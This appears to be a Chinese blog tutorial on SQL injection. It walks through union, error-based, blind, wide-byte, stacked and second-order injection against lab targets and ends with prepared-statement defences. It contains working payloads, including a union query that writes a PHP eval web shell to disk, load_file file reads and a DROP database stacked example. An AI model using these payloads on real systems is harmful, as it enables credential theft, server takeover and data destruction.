web安全——SQL注入

 SQL注入

SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的。如果数据库的用户权限足够大,还可以对操作系统执行操作。
mysql中注释符:#、/**/、--
在MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
在MySQL5.0以上,MySQL中默认添加了一个名为information_schema的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作。
 
information_schema数据库中三个很重要的表:
information_schema.schemata:该数据表存储了mysql数据库中的所有数据库的库名
information_schema.tables :该数据表存储了mysql数据库中的所有数据库的表名
information_schema.columns :该数据表存储了mysql数据库中的所有列的列名
SQL注入中用到的sql语句:
// 通过这条语句可以得到第一个的数据库名  
select schema_name from information_schema.schemata limit 0,1
 
// 通过这条语句可以得到第一个的数据表名
select table_name from information_schema.tables limit 0,1
// 通过这条语句可以得到指定security数据库中的所有表名
select table_name from information_schema.tables where table_schema='security' limit 0,1
 
// 通过这条语句可以得到第一个的列名
select column_name from information_schema.columns limit 0,1
// 通过这条语句可以得到指定数据库security中的数据表users的所有列名
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
 
//通过这条语句可以得到指定数据表users中指定列password的第一条数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
select password from users limit 0,1
mysql中比较常用的一些函数:
  • version():查询数据库的版本
  • user():查询数据库的使用者
  • database():数据库
  • system_user():系统用户名
  • session_user():连接数据库的用户名
  • current_user():当前用户名
  • load_file():读取本地文件
  • @@datadir:读取mysql的数据库文件路径
  • @@basedir:mysql安装路径
  • @@version_complie_os:查看操作系统
ascii(str):返回给定字符串的ascii值,如果str是空字符串,返回0;如果str是null,返回null。如:ascii("a")=97
length(str):返回给定字符串的长度
left(string,length):对于给定字符串string,从最左边开始截取,截取length长度。
substr(string,start,length):对于给定字符串string,从start位开始截取额,截取length长度。如:substr("chinese",3,2)="in",也可以substr(string from start for length)
substr()、mid()两个函数的用法、功能均一致。
concat(username):将查询的username连在一起,默认用逗号分隔
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username):将username数据查询在一起,用逗号连接

SQL注入分类

依据注入点类型的分类
  • 数字类型的注入
  • 字符串类型的注入
依据提交方式分类
  • GET注入
  • POST注入
  • Cookie注入
  • HTTP头注入(User-Agent注入、Referer注入、XFF注入)
依据获取信息的方式分类
  • 回显(union联合注入、报错注入)
  • 盲注(布尔盲注、时间盲注)
  • 带外(dnslog带外注入)

判断是否存在SQL注入

一、在输入点加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞。
二、在URL后面加and 1=1、and 1=2看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞
三、进行时间盲注。
在MySQL中,有一个Benchmark()函数,它是用于测试性能的。Benchmark(count.expr),这个函数执行的结果,是将表达式expr执行count次。
因此利用Benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。
易出现的SQL注入功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登录页面、涉及获取HTTP头的功能点及订单处理等地方。例如登录页面,除常见的万能密码,post数据注入外也有可能发生在HTTP头中的x-forwar-for和client-ip等字段处。这些字段是用来记录登录的ip的,有可能会被存储进数据库中从而与数据库发送交互导致SQL注入。

union注入

union联合查询适用于有显示列的注入。我们可以通过order by来判断当前表的列数。
当页面只显示一行数据时,需要把前面的sql语句否了。只执行后面构造的sql语句。
union联合、合并:将多条查询语句的结果合并成一个结果,union 注入攻击为一种手工测试。
注入思路:
A:判断是否存在注入点http://xxxxxxxxx?id=1
1' 异常 1 and 1=1 返回结果和 id=1 一样
1 and 1=2 异常
从而则一定存在 SQL 注入漏洞
B:order by 1-99 语句来查询该数据表的字段数
C:利用获得的列数使用联合查询,union select 与前面的字段数一样找到了数据呈现的位置http://xxxxxxx?id=1 union select 1,2,3,4,5,6
D:根据显示内容确定查询语句的位置,利用 information_schema依次进行查询 schemata, tables,columns
E:已知库名、表名和字段名,接下来就爆数据
注意:union联合查询前面的sql语句必须为假
爆字段列数:id=2 order by 5--+
查看数据库名和数据库用户:id=2 union select database(),user()--+
爆该库下所有的表:id=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'--+
爆敏感表-users的字段:id=2 union 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
获取username和password的数据:id=2 union select group_concat(username),group_concat(password) from pikachu.users--+

 报错注入

在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错 误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete 都 可以使用报错来获取信息。常用的爆错函数 updatexml(),extractvalue(),floor() ,exp()
常用的报错语句模板:

(1)通过floor报错

    ①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

    ②其中payload为你要插入的SQL语句

    ③需要注意的是该语句将 输出长度限制在64个字符

(2)通过updatexml报错

    ①and updatexml(1,payload,1)

    ②同样盖语句对输出的字符长度也做了限制,其最长输出32位

    ③并且该语句对payload的返回类型也做了 限制

(3)通过extractvalue 报错

    ①and extractvalue(1,payload)

    ②输出字符有长度限制,最长32位

实例:
A:注入点探测及类型 a’制作报错,字符型 
B:利用函数 updatexml()获取数据库名 http://xxxxx?username=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
C:利用函数 updatexml()获取表名 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test'),0x7e),1)--+
D:利用函数 updatexml()获取字段名 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'),0x7e),1)--+ 
E:利用函数 updatexml()获取值 http://xxxxxxx?username=a' and updatexml(1,concat(0x7e,(select username from test.users limit 0,1),0x7e),1)--+ 

 注意:报错注入时,不同的报错函数输出的数据长度不同,当输出的数据过长则可以通过limit逐个取数据

extractvalue和updatexml的报错原理一样,不再赘述。

floor报错原理参考:https://www.cnblogs.com/litlife/p/8472323.html

floor报错实例:

爆当前的数据库名:?id=-1' union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; --+
爆表名:?id=-1' union select 1,count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
爆字段名:?id=-1' union select 1,count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+ 
爆字段username值:?id=-1' union select 1,count(*),concat((select concat (username,';') from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

Boolean盲注

盲注,就是服务器没有错误回显时完成的注入攻击。
我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想。

实例:
判断当前数据库名
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5   //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10   //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7   //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8   //不显示任何数据
 
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
 
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100
 
...........
由此可以判断出当前数据库为 security

 判断当前数据库中的表

1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
 
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
 
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

判断表中的字段

1:判断表中字段的个数
//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
2:判断字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
 
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
3:判断字段的ascii值
//判断第一个字段的第一个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
 
//判断第一个字段的第二个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
...........
由此可判断出users表中存在 id、username、password 字段

判断字段中的数据

我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
 
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
 
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
2:判断数据的ascii值
// 判断id字段的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
 
// 判断id字段的第一个数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
...........

 时间盲注

利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。

优点:不需要显示位,不需要出错信息。

缺点:速度慢,耗费大量时间

 

sleep 函数判断页面响应时间               if(判断条件,为true时执行,为false时执行)

我们可以构造下面的语句,判断条件是否成立。然后不断变换函数直到获取到我们想要的信息

//判断是否存在延时注入
http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5)#
 
// 判断数据库的第一个字符的ascii值是否大于100,如果大于100,页面立即响应,如果不大于,页面延时5秒响应
http://127.0.0.1/sqli/Less-1/?id=1'andif(ascii(substring(database(),1,1))<100,1,sleep(5)) #

文件读写

当有显示列的时候,文件读可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取; 
文件写入只能利用 union 注入
示例:读取e盘下3.txt文件
 
union注入读取文件
//union注入读取 e:/3.txt 文件
http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file("e:/3.txt")#
 
//也可以把 e:/3.txt 转换成16进制 0x653a2f332e747874
http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file(0x653a2f332e747874)#
盲注读取文件
//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1

我们可以利用写入文件的功能,在e盘创建4.php文件,然后写入一句话木马

union写入文件

//利用union注入写入一句话木马  into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,'<?php @eval($_POST[aaa]);?>'  into outfile  'e:/4.php' #
 
// 可以将一句话木马转换成16进制的形式
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e  into outfile  'e:/4.php' #

 宽字节注入

当使用PHP连接MySQL的时候,设置"set_character_set_client=gbk"时会导致一个编码转换问题,也就是宽字节注入,当存在宽字节注入的时候,注入参数里带入%DF%27,即可把%5C(反斜杠的URL编码)吃掉。

例子:127.0.0.1/index.php?id=1

当提交

id=1' and 1=1#

时,MySQL的运行的sql语句为

select * from user where id='1\' and 1=1#'

很明显没有注入成功,而当我们提交

id=1%DF' and 1=1#

MySQL的运行的SQL语句为

select * from user where id='1運' and 1=1#'

这里的宽字节注入是利用的MySQL的一个特性,MySQL在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字"运",而逃逸了出来。

堆叠注入

在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root';DROP database  user;服务器端生成的sql语句为:Select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。

二次注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

我们访问 http://127.0.0.1/sqli/Less-24/index.php

是一个登陆页面,我们没有账号,所以选择新建一个用户

我们新建的用户名为:admin'#   密码为:123456

查看数据库,可以看到,我们的数据插入进去了

 我们使用新建的用户名和密码登录

登录成功了,跳转到了后台页面修改密码页面。

我们修改用户名为:admin'#   密码为:aaaaaaaaa

 提示密码更新成功!

我们查看数据库,发现用户 admin'# 的密码并没有修改,而且 admin 用户的密码修改为了  aaaaaaaaaa

 那么,为什么会这样呢?我们查看修改密码页面源代码,发现这里存在明显的SQL注入漏洞

 当我们提交用户名  admin'# 修改密码为 aaaaaaaaaa 的时候,这条SQL语句就变成了下面的语句了。

#把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaaaaaa

$sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";

 User-Agent注入

我们访问 http://127.0.0.1/sqli/Less-18/ ,页面显示一个登陆框和我们的ip信息

当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent

 抓包,修改其User-Agent为

'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1  #我们可以将 database()修改为任何的函数

 可以看到,页面将当前的数据库显示出来了

 Cookie注入

很多时候,提交数据并非仅仅只有get / post这两种方式,还有一种经常被用到的方式:request("xxx"),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值,这就造成了cookie注入的最基本条件:使用了request方法,但是只对用户get / post提交的数据进行过滤。

 

我们这里有一个连接:www.xx.com/search.asp?id=1

我们访问:www.xx.com/srarch.asp 发现不能访问,说缺少id参数。

 

我们将id=1放在cookie中再次访问,查看能否访问,如果能访问,则说明id参数可以通过cookie提交。

那么,如果后端没有对cookie中传入的数据进行过滤,那么,这个网站就有可能存在cookie注入了!

SQL绕过

传送门:SQL注入绕过

传说中的万能密码

sq|="select* from test where username=' XX ' and password=' XX' "; .
admin' or'1'='1 .   XX   //万能密码(已知用户名)
XX           'or'1'='1       //万能密码(不需要知道用户名)
'or'1'='1'#   XX            //万能密码(不知道用户名)

SQL注入的预防

(1)预编译(PreparedStatement)(JSP)

可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

 String sql = "select id, no from user where id=?";
 PreparedStatement ps = conn.prepareStatement(sql);
 ps.setInt(1, id);
 ps.executeQuery();

如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?

其原因就是:采用了PreparedStatement预编译,就会将SQL语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。

原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。

(2)PDO(PHP)

先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。

PDO对于解决SQL注入的原理也是基于预编译。

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
$data->bindParam( ':id', $id, PDO::PARAM_INT ); 
$data->execute();

实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行.

 (3)对进入数据库的特殊字符(' " <>&;等)进行转义处理,或编码转换。

(4)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能满足工作的权限,从而最大限度的减少注入攻击对数据库的危害。

预编译不能防御以下三种SQL注入:
1、你不能用占位符?代替一组值:select * from users where user_id in (?)
2、你不能用占位符?代替数据库表名和列名:select * from users order by ?;
3、你不能用占位符?代替任何其他SQL语句:select extract(? from datetime_column) as variable_datetime_element from users;

posted @ 2021-09-11 00:09  学安全的小白  阅读(720)  评论(0编辑  收藏  举报